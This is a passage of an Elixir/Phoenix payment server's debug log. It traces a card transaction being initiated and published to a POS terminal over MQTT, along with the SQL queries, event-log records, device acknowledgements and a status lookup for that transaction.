SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:08:01.721000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38230] Sent 200 in 26ms
[Thu Sep  3 10:08:25.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57572] POST /api/device/initiate
[Thu Sep  3 10:08:25.952000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57572] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch475445709675", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:08:25.952000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Processing card transaction for reference: ch475445709675
[Thu Sep  3 10:08:25.956000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="users" db=0.8ms idle=1119.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:08:25.957000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="custom_events" db=0.9ms idle=1120.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:08:25.957000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch475445709675"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch475445709675",
  external_ref_number_2: "8354073439",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 10:08:25.958000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch475445709675",
    external_ref_number_2: "8354073439",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch475445709675",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:08:25.958002Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:08:25.958000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57572] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch475445709675", external_ref_number_2: "8354073439", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch475445709675", transaction_id: nil, date_added: ~U[2026-09-03 10:08:25.958002Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:08:25.987000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK db=28.6ms idle=1122.7ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch475445709675", external_ref_number_2: "8354073439", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch475445709675", ~U[2026-09-03 10:08:25Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:08:25], ~N[2026-09-03 10:08:25]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:08:25.987000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Successfully created custom event log with ID: 40158
[Thu Sep  3 10:08:25.988000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Handling card transaction:
- Reference: ch475445709675
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch475445709675", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 10:08:25.988000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="users" db=0.3ms idle=1152.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:08:25.989000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="custom_events" db=0.7ms idle=1153.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:08:25.989000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch475445709675"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788430105,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:08:25.990000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788430105,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch475445709675",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:08:25.990008Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:08:25.990000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57572] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788430105, device_id: "98250623730001", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch475445709675", transaction_id: nil, date_added: ~U[2026-09-03 10:08:25.990008Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:08:26.034000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK db=43.5ms idle=1154.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788430105, device_id: "98250623730001", amount: 122}, "Response From Device Online Status", "ch475445709675", ~U[2026-09-03 10:08:25Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:08:25], ~N[2026-09-03 10:08:25]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:08:26.037000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Successfully created custom event log with ID: 40159
[Thu Sep  3 10:08:26.037000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch475445709675\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:08:26.071000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK db=32.9ms queue=0.9ms idle=303.8ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch475445709675", "externalRefNumber2" => "8354073439", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_ef9886b29dc7@mercurypay.in", "98250623730001", "ch475445709675", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 10:08:26], ~N[2026-09-03 10:08:26]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:08:26.077000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="users" db=4.3ms queue=0.9ms idle=309.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:08:26.079000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="custom_events" db=1.3ms queue=0.1ms idle=258.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:08:26.079000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch475445709675"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788430106,
  qos: 1,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:08:26.081000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788430106,
    qos: 1,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch475445709675",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:08:26.079806Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:08:26.081000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57572] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788430106, qos: 1, device_id: "98250623730001", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch475445709675", transaction_id: nil, date_added: ~U[2026-09-03 10:08:26.079806Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:08:26.132000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK db=49.8ms idle=246.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788430106, qos: 1, device_id: "98250623730001", amount: 122}, "Request For Publish Txn", "ch475445709675", ~U[2026-09-03 10:08:26Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:08:26], ~N[2026-09-03 10:08:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:08:26.132000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Successfully created custom event log with ID: 40160
[Thu Sep  3 10:08:26.134000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1112276993.176728>
[Thu Sep  3 10:08:26.134000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1112276993.176732>
[Thu Sep  3 10:08:26.136000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="users" db=1.0ms idle=178.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:08:26.138000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK source="custom_events" db=2.4ms idle=178.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:08:26.139000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch475445709675"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788430106,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:08:26.139000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788430106,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch475445709675",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:08:26.139160Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:08:26.152000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57572] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788430106, device_id: "98250623730001", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch475445709675", transaction_id: nil, date_added: ~U[2026-09-03 10:08:26.139160Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:08:26.178000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57572] QUERY OK db=25.5ms queue=0.2ms idle=165.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788430106, device_id: "98250623730001", amount: 122}, "Response From Publish Txn", "ch475445709675", ~U[2026-09-03 10:08:26Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:08:26], ~N[2026-09-03 10:08:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:08:26.179000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57572] Successfully created custom event log with ID: 40161
[Thu Sep  3 10:08:26.179000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57572] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1112276993.176732>
[Thu Sep  3 10:08:26.179000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57572] Sent 200 in 227ms
[Thu Sep  3 10:08:29.808000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730001 with payload: {"request_id" : "refund-test-01","money": "12000.0", "status": "FAILED" }
[Thu Sep  3 10:08:29.809000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730001 with request_id refund-test-01: %{"money" => "12000.0", "request_id" => "refund-test-01", "status" => "FAILED"}
[Thu Sep  3 10:08:29.809000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id refund-test-01 is failed
[Thu Sep  3 10:08:29.814000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.8ms idle=1974.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["refund-test-01", "98251226730001"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 10:08:29.814000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=refund-test-01
[Thu Sep  3 10:08:32.200000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "refund-test-01","money": "12000.0", "status": "FAILED" }
[Thu Sep  3 10:08:32.200000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id refund-test-01: %{"money" => "12000.0", "request_id" => "refund-test-01", "status" => "FAILED"}
[Thu Sep  3 10:08:32.201000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id refund-test-01 is failed
[Thu Sep  3 10:08:32.204000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.3ms idle=365.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["refund-test-01", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 10:08:32.204000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=refund-test-01
[Thu Sep  3 10:08:32.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49898] POST /api/device/status
[Thu Sep  3 10:08:32.227000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49898] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch475445709675", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:08:32.227000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49898] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch475445709675", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:08:32.228000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49898] Transaction reference number: "ch475445709675"
[Thu Sep  3 10:08:32.248000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49898] QUERY OK source="pos_transaction" db=20.0ms idle=391.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch475445709675"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:08:32.250000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49898] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=412.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch475445709675"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:08:32.255000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49898] QUERY OK source="pos_failed_transaction" db=3.8ms queue=0.4ms idle=414.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch475445709675"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:08:32.256000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49898] QUERY OK source="cloud_transaction" db=0.4ms idle=417.6ms
